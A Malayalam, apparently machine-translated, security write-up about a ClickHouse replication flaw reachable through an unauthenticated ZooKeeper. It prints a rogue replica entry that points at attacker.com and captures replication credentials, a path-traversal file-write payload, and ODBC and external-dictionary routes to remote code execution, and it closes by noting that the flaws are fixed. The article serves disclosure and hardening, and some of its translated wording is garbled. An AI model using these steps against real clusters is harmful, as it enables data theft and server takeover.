എന്തുകൊണ്ടാണ് നിങ്ങൾ മൃഗശാലയിലെ കൂടുകൾ അടച്ചിടേണ്ടത്?

ഈ ലേഖനം ClickHouse റെപ്ലിക്കേഷൻ പ്രോട്ടോക്കോളിലെ ഒരു പ്രത്യേക അപകടസാധ്യതയുടെ കഥ പറയും, കൂടാതെ ആക്രമണ ഉപരിതലം എങ്ങനെ വികസിപ്പിക്കാമെന്നും കാണിക്കും.

വലിയ അളവിലുള്ള ഡാറ്റ സംഭരിക്കുന്നതിനുള്ള ഒരു ഡാറ്റാബേസാണ് ClickHouse, മിക്കപ്പോഴും ഒന്നിലധികം പകർപ്പുകൾ ഉപയോഗിക്കുന്നു. ക്ലിക്ക്ഹൗസിലെ ക്ലസ്റ്ററിംഗും റെപ്ലിക്കേഷനും മുകളിലാണ് നിർമ്മിച്ചിരിക്കുന്നത് അപ്പാച്ചെ മൃഗശാലാ സൂക്ഷിപ്പുകാരൻ (ZK) കൂടാതെ എഴുതാനുള്ള അവകാശം ആവശ്യമാണ്.

സ്ഥിരസ്ഥിതി ZK ഇൻസ്റ്റാളേഷന് ആധികാരികത ആവശ്യമില്ല, അതിനാൽ കാഫ്ക, ഹഡൂപ്പ്, ക്ലിക്ക്ഹൗസ് എന്നിവ ക്രമീകരിക്കാൻ ഉപയോഗിക്കുന്ന ആയിരക്കണക്കിന് ZK സെർവറുകൾ പൊതുവായി ലഭ്യമാണ്.

നിങ്ങളുടെ ആക്രമണ ഉപരിതലം കുറയ്ക്കുന്നതിന്, ZooKeeper ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ നിങ്ങൾ എല്ലായ്പ്പോഴും പ്രാമാണീകരണവും അംഗീകാരവും കോൺഫിഗർ ചെയ്യണം

തീർച്ചയായും 0-ദിവസത്തെ അടിസ്ഥാനമാക്കിയുള്ള ജാവ ഡിസീരിയലൈസേഷനുകൾ ഉണ്ട്, എന്നാൽ ഒരു ആക്രമണകാരിക്ക് ClickHouse റെപ്ലിക്കേഷനായി ഉപയോഗിക്കുന്ന ZooKeeper-ലേക്ക് വായിക്കാനും എഴുതാനും കഴിയുമെന്ന് സങ്കൽപ്പിക്കുക.

ക്ലസ്റ്റർ മോഡിൽ കോൺഫിഗർ ചെയ്യുമ്പോൾ, ClickHouse ഡിസ്ട്രിബ്യൂട്ടഡ് ക്വറികളെ പിന്തുണയ്ക്കുന്നു ഡി.ഡി.എൽ., ZK വഴി കടന്നുപോകുന്നു - അവയ്ക്കായി നോഡുകൾ ഷീറ്റിൽ സൃഷ്ടിക്കപ്പെടുന്നു /clickhouse/task_queue/ddl.

ഉദാഹരണത്തിന്, നിങ്ങൾ ഒരു നോഡ് സൃഷ്ടിക്കുന്നു /clickhouse/task_queue/ddl/query-0001 ഉള്ളടക്കത്തോടൊപ്പം:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

അതിനുശേഷം, ഹോസ്റ്റ്1, ഹോസ്റ്റ്2 എന്നീ ക്ലസ്റ്റർ സെർവറുകളിൽ ടെസ്റ്റ് ടേബിൾ ഇല്ലാതാക്കപ്പെടും. ക്രിയേറ്റ്/ആൾട്ടർ/ഡ്രോപ്പ് ചോദ്യങ്ങൾ പ്രവർത്തിപ്പിക്കുന്നതും ഡിഡിഎൽ പിന്തുണയ്ക്കുന്നു.

ഭയങ്കരമായി തോന്നുന്നുണ്ടോ? എന്നാൽ ആക്രമണകാരിക്ക് സെർവർ വിലാസങ്ങൾ എവിടെ നിന്ന് ലഭിക്കും?

ക്ലിക്ക് ഹൗസ് റെപ്ലിക്കേഷൻ വ്യക്തിഗത പട്ടികകളുടെ തലത്തിൽ പ്രവർത്തിക്കുന്നു, അതിനാൽ ZK-യിൽ ഒരു പട്ടിക സൃഷ്ടിക്കുമ്പോൾ, മെറ്റാഡാറ്റ പകർപ്പുകൾ ഉപയോഗിച്ച് കൈമാറ്റം ചെയ്യുന്നതിന് ഉത്തരവാദിയായ ഒരു സെർവർ വ്യക്തമാക്കുന്നു. ഉദാഹരണത്തിന്, ഒരു അഭ്യർത്ഥന നടപ്പിലാക്കുമ്പോൾ (ZK കോൺഫിഗർ ചെയ്തിരിക്കണം, chXX - പകർപ്പിന്റെ പേര്, ഫൂബാർ - പട്ടികയുടെ പേര്):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

നോഡുകൾ സൃഷ്ടിക്കപ്പെടും നിരകൾ и മെറ്റാഡാറ്റ.

ഉള്ളടക്കം /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ഈ ക്ലസ്റ്ററിൽ നിന്ന് ഡാറ്റ ലയിപ്പിക്കാൻ കഴിയുമോ? അതെ, റെപ്ലിക്കേഷൻ പോർട്ട് ആണെങ്കിൽ (TCP/9009) സെർവറിൽ chXX-address ഫയർവാൾ അടയ്‌ക്കില്ല, പകർപ്പിനുള്ള പ്രാമാണീകരണം കോൺഫിഗർ ചെയ്യില്ല. പ്രാമാണീകരണം എങ്ങനെ മറികടക്കാം?

ഒരു ആക്രമണകാരിക്ക് ZK-ൽ നിന്ന് ഉള്ളടക്കം പകർത്തി ഒരു പുതിയ പകർപ്പ് സൃഷ്ടിക്കാൻ കഴിയും /clickhouse/tables/01-01/foobar/replicas/chXX അർത്ഥം മാറ്റുകയും ചെയ്യുന്നു host.

ഉള്ളടക്കം /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

ആക്രമണകാരിയുടെ സെർവറിൽ അവർ എടുക്കേണ്ട ഡാറ്റയുടെ ഒരു പുതിയ ബ്ലോക്ക് ഉണ്ടെന്ന് മറ്റ് പകർപ്പുകളോട് നിങ്ങൾ പറയേണ്ടതുണ്ട് - ZK-യിൽ ഒരു നോഡ് സൃഷ്‌ടിച്ചു /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ഏകതാനമായി വളരുന്ന കൗണ്ടർ, ഇവന്റ് ലോഗിലെ അവസാനത്തേതിനേക്കാൾ വലുതായിരിക്കണം):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

എവിടെ ഉറവിടം_പ്രതിരൂപം - മുമ്പത്തെ ഘട്ടത്തിൽ സൃഷ്ടിച്ച ആക്രമണകാരിയുടെ പകർപ്പിന്റെ പേര്, ബ്ലോക്ക്_ഐഡി - ഡാറ്റ ബ്ലോക്ക് ഐഡന്റിഫയർ, നേടുക - "ഗെറ്റ് ബ്ലോക്ക്" കമാൻഡ് (കൂടാതെ മറ്റ് പ്രവർത്തനങ്ങൾക്കുള്ള കമാൻഡുകൾ ഇതാ).

അടുത്തതായി, ഓരോ പകർപ്പും ലോഗിൽ ഒരു പുതിയ ഇവന്റ് വായിക്കുകയും ഒരു ബ്ലോക്ക് ഡാറ്റ സ്വീകരിക്കുന്നതിന് ആക്രമണകാരി നിയന്ത്രിത സെർവറിലേക്ക് പോകുകയും ചെയ്യുന്നു (റെപ്ലിക്കേഷൻ പ്രോട്ടോക്കോൾ ബൈനറി ആണ്, HTTP-യുടെ മുകളിൽ പ്രവർത്തിക്കുന്നു). സെർവർ attacker.com അഭ്യർത്ഥനകൾ ലഭിക്കും:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ഇവിടെ XXX എന്നത് അനുകരണത്തിനുള്ള പ്രാമാണീകരണ ഡാറ്റയാണ്. ചില സാഹചര്യങ്ങളിൽ, ഇത് പ്രധാന ClickHouse പ്രോട്ടോക്കോളും HTTP പ്രോട്ടോക്കോളും വഴി ഡാറ്റാബേസിലേക്കുള്ള ആക്സസ് ഉള്ള ഒരു അക്കൗണ്ടായിരിക്കാം. നിങ്ങൾ കണ്ടതുപോലെ, ആധികാരികത കോൺഫിഗർ ചെയ്യാതെ തന്നെ പകർപ്പെടുക്കാൻ ഉപയോഗിക്കുന്ന ZooKeeper ഉപേക്ഷിച്ചതിനാൽ ആക്രമണ പ്രതലം വളരെ വലുതായി മാറുന്നു.

ഒരു പകർപ്പിൽ നിന്ന് ഒരു ബ്ലോക്ക് ഡാറ്റ നേടുന്നതിന്റെ പ്രവർത്തനം നോക്കാം, എല്ലാ പകർപ്പുകളും ശരിയായ നിയന്ത്രണത്തിലാണെന്നും അവയ്ക്കിടയിൽ വിശ്വാസമുണ്ടെന്നും പൂർണ്ണ ആത്മവിശ്വാസത്തോടെ എഴുതിയിരിക്കുന്നു.

റെപ്ലിക്കേഷൻ പ്രോസസ്സിംഗ് കോഡ്

ഫംഗ്ഷൻ ഫയലുകളുടെ ഒരു ലിസ്റ്റ് വായിക്കുന്നു, തുടർന്ന് അവയുടെ പേരുകൾ, വലുപ്പങ്ങൾ, ഉള്ളടക്കങ്ങൾ, തുടർന്ന് അവ ഫയൽ സിസ്റ്റത്തിലേക്ക് എഴുതുന്നു. ഫയൽ സിസ്റ്റത്തിൽ ഡാറ്റ എങ്ങനെ സംഭരിക്കപ്പെടുന്നുവെന്ന് പ്രത്യേകം വിവരിക്കുന്നത് മൂല്യവത്താണ്.

നിരവധി ഉപഡയറക്‌ടറികളുണ്ട് /var/lib/clickhouse (കോൺഫിഗറേഷൻ ഫയലിൽ നിന്നുള്ള ഡിഫോൾട്ട് സ്റ്റോറേജ് ഡയറക്ടറി):

ഫ്ലാഗുകൾ - റെക്കോർഡിംഗിനുള്ള ഡയറക്ടറി പതാകകൾ, ഡാറ്റ നഷ്ടം ശേഷം വീണ്ടെടുക്കൽ ഉപയോഗിക്കുന്നു;
tmp - താൽക്കാലിക ഫയലുകൾ സംഭരിക്കുന്നതിനുള്ള ഡയറക്ടറി;
user_files — അഭ്യർത്ഥനകളിലെ ഫയലുകളുള്ള പ്രവർത്തനങ്ങൾ ഈ ഡയറക്‌ടറിയിൽ പരിമിതപ്പെടുത്തിയിരിക്കുന്നു (ഇന്റൊ ഔട്ട്‌ഫൈലും മറ്റുള്ളവയും);
മെറ്റാഡാറ്റ - പട്ടിക വിവരണങ്ങളുള്ള sql ഫയലുകൾ;
preprocessed_configs - നിന്ന് ഡെറിവേറ്റീവ് കോൺഫിഗറേഷൻ ഫയലുകൾ പ്രോസസ്സ് ചെയ്തു /etc/clickhouse-server;
ഡാറ്റ - ഡാറ്റയുമൊത്തുള്ള യഥാർത്ഥ ഡയറക്‌ടറി, ഈ സാഹചര്യത്തിൽ ഓരോ ഡാറ്റാബേസിനും ഒരു പ്രത്യേക ഉപഡയറക്‌ടറി ഇവിടെ സൃഷ്‌ടിച്ചിരിക്കുന്നു (ഉദാഹരണത്തിന് /var/lib/clickhouse/data/default).

ഓരോ ടേബിളിനും, ഡാറ്റാബേസ് ഡയറക്‌ടറിയിൽ ഒരു ഉപഡയറക്‌ടറി സൃഷ്‌ടിച്ചിരിക്കുന്നു. ഓരോ നിരയും അനുസരിച്ച് ഒരു പ്രത്യേക ഫയലാണ് എഞ്ചിൻ ഫോർമാറ്റ്. ഉദാഹരണത്തിന് ഒരു ടേബിളിന് ഫൂബാർഒരു ആക്രമണകാരി സൃഷ്ടിച്ചത്, ഇനിപ്പറയുന്ന ഫയലുകൾ സൃഷ്ടിക്കപ്പെടും:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

ഒരു ബ്ലോക്ക് ഡാറ്റ പ്രോസസ്സ് ചെയ്യുമ്പോൾ അതേ പേരിലുള്ള ഫയലുകൾ ലഭിക്കുമെന്ന് റെപ്ലിക്ക പ്രതീക്ഷിക്കുന്നു, അവ ഒരു തരത്തിലും സാധൂകരിക്കുന്നില്ല.

ഒരു ഫംഗ്‌ഷനിൽ ഫയൽ_നാമത്തിന്റെ സുരക്ഷിതമല്ലാത്ത സംയോജനത്തെക്കുറിച്ച് ശ്രദ്ധയുള്ള വായനക്കാരൻ ഇതിനകം കേട്ടിട്ടുണ്ടാകും. WriteBufferFromFile. അതെ, ഉപയോക്തൃ അവകാശങ്ങളുള്ള FS-ലെ ഏത് ഫയലിലേക്കും അനിയന്ത്രിതമായ ഉള്ളടക്കം എഴുതാൻ ഇത് ഒരു ആക്രമണകാരിയെ അനുവദിക്കുന്നു clickhouse. ഇത് ചെയ്യുന്നതിന്, ആക്രമണകാരി നിയന്ത്രിക്കുന്ന പകർപ്പ് അഭ്യർത്ഥനയ്ക്ക് ഇനിപ്പറയുന്ന പ്രതികരണം നൽകണം (മനസ്സിലാക്കാൻ എളുപ്പത്തിനായി ലൈൻ ബ്രേക്കുകൾ ചേർത്തിരിക്കുന്നു):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ഒത്തുചേരലിനു ശേഷവും ../../../../../../../../../tmp/pwned ഫയൽ എഴുതപ്പെടും /tmp/pwned ഉള്ളടക്കത്തോടെ hellofromzookeeper.

ഫയൽ റൈറ്റിംഗ് ശേഷി റിമോട്ട് കോഡ് എക്‌സിക്യൂഷനാക്കി മാറ്റുന്നതിന് (RCE) നിരവധി ഓപ്ഷനുകൾ ഉണ്ട്.

RCE-യിലെ ബാഹ്യ നിഘണ്ടുക്കൾ

പഴയ പതിപ്പുകളിൽ, ClickHouse ക്രമീകരണങ്ങളുള്ള ഡയറക്ടറി ഉപയോക്തൃ അവകാശങ്ങളോടെ സംഭരിച്ചു ക്ലിക്ക്ഹൗസ് സ്ഥിരസ്ഥിതി. ക്രമീകരണ ഫയലുകൾ XML ഫയലുകളാണ്, അത് സേവനം ആരംഭിക്കുമ്പോൾ വായിക്കുകയും തുടർന്ന് കാഷെ ചെയ്യുകയും ചെയ്യുന്നു /var/lib/clickhouse/preprocessed_configs. മാറ്റങ്ങൾ സംഭവിക്കുമ്പോൾ, അവ വീണ്ടും വായിക്കുന്നു. നിങ്ങൾക്ക് ആക്സസ് ഉണ്ടെങ്കിൽ /etc/clickhouse-server ഒരു ആക്രമണകാരിക്ക് സ്വന്തമായി സൃഷ്ടിക്കാൻ കഴിയും ബാഹ്യ നിഘണ്ടു എക്സിക്യൂട്ടബിൾ തരം തുടർന്ന് അനിയന്ത്രിതമായ കോഡ് എക്സിക്യൂട്ട് ചെയ്യുക. ClickHouse-ന്റെ നിലവിലെ പതിപ്പുകൾ സ്ഥിരസ്ഥിതിയായി അവകാശങ്ങൾ നൽകുന്നില്ല, എന്നാൽ സെർവർ ക്രമേണ അപ്ഡേറ്റ് ചെയ്താൽ, അത്തരം അവകാശങ്ങൾ നിലനിൽക്കും. നിങ്ങൾ ഒരു ClickHouse ക്ലസ്റ്ററിനെ പിന്തുണയ്ക്കുകയാണെങ്കിൽ, ക്രമീകരണ ഡയറക്ടറിയുടെ അവകാശങ്ങൾ പരിശോധിക്കുക, അത് ഉപയോക്താവിന്റെതായിരിക്കണം root.

ഒഡിബിസി മുതൽ ആർസിഇ വരെ

ഒരു പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ, ഒരു ഉപയോക്താവ് സൃഷ്ടിക്കപ്പെടുന്നു clickhouse, എന്നാൽ അതിന്റെ ഹോം ഡയറക്ടറി സൃഷ്ടിച്ചിട്ടില്ല /nonexistent. എന്നിരുന്നാലും, ബാഹ്യ നിഘണ്ടുക്കൾ ഉപയോഗിക്കുമ്പോൾ, അല്ലെങ്കിൽ മറ്റ് കാരണങ്ങളാൽ, അഡ്മിനിസ്ട്രേറ്റർമാർ ഒരു ഡയറക്ടറി സൃഷ്ടിക്കുന്നു /nonexistent ഉപയോക്താവിന് നൽകുകയും ചെയ്യുക clickhouse ഇതിലേക്ക് എഴുതാനുള്ള ആക്സസ് (SSZB! ഏകദേശം. വിവർത്തകൻ).

ClickHouse പിന്തുണയ്ക്കുന്നു ODBC കൂടാതെ മറ്റ് ഡാറ്റാബേസുകളിലേക്ക് കണക്റ്റുചെയ്യാനാകും. ODBC-യിൽ, നിങ്ങൾക്ക് ഡാറ്റാബേസ് ഡ്രൈവർ ലൈബ്രറിയിലേക്കുള്ള പാത (.so) വ്യക്തമാക്കാം. ClickHouse-ന്റെ പഴയ പതിപ്പുകൾ അഭ്യർത്ഥന ഹാൻഡ്‌ലറിൽ നേരിട്ട് ഇത് ചെയ്യാൻ നിങ്ങളെ അനുവദിച്ചു, എന്നാൽ ഇപ്പോൾ കണക്ഷൻ സ്ട്രിംഗിന്റെ കൂടുതൽ കർശനമായ പരിശോധന ചേർത്തിരിക്കുന്നു odbc-bridge, അതിനാൽ അഭ്യർത്ഥനയിൽ നിന്ന് ഡ്രൈവർ പാത്ത് വ്യക്തമാക്കാൻ ഇനി സാധ്യമല്ല. എന്നാൽ മുകളിൽ വിവരിച്ച ദുർബലത ഉപയോഗിച്ച് ഒരു ആക്രമണകാരിക്ക് ഹോം ഡയറക്ടറിയിലേക്ക് എഴുതാൻ കഴിയുമോ?

നമുക്ക് ഒരു ഫയൽ ഉണ്ടാക്കാം ~/.odbc.ini ഇതുപോലുള്ള ഉള്ളടക്കത്തിൽ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

പിന്നെ സ്റ്റാർട്ടപ്പിൽ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ലൈബ്രറി ലോഡ് ചെയ്യും test.so കൂടാതെ RCE ലഭിച്ചു (നന്ദി ബഗ്ലോക്ക് നുറുങ്ങിനായി).

ഇവയും മറ്റ് കേടുപാടുകളും ClickHouse പതിപ്പ് 19.14.3-ൽ പരിഹരിച്ചിരിക്കുന്നു. നിങ്ങളുടെ ClickHouse, ZooKeepers എന്നിവയെ പരിപാലിക്കുക!

അവലംബം: www.habr.com